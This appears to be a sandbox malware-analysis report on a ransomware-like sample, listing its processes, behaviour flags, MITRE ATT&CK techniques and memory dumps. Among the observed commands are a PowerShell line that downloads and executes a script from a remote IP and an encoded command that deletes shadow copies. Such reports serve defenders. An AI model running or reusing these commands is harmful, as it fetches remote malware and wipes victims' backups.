C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/25cf7ba78d389fb326f0e98895989410');Invoke-CANVFPQGR;Start-Sleep -s 10000"
2⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies system certificate store
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1876

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/300-5-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

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memory/300-8-0x0000000005640000-0x0000000005641000-memory.dmp

Filesize
4KB

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memory/300-22-0x0000000006320000-0x0000000006321000-memory.dmp

Filesize
4KB

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memory/300-38-0x0000000008DB0000-0x0000000009135000-memory.dmp

Filesize
3.5MB

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memory/300-14-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

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memory/300-1-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

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memory/300-13-0x00000000056B0000-0x00000000056B1000-memory.dmp

Filesize
4KB

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memory/300-21-0x00000000061B0000-0x00000000061B1000-memory.dmp

Filesize
4KB

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memory/300-0-0x0000000000000000-mapping.dmp

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memory/300-4-0x0000000004650000-0x0000000004651000-memory.dmp

Filesize
4KB

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memory/300-3-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

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memory/300-2-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

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memory/1876-25-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

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memory/1876-23-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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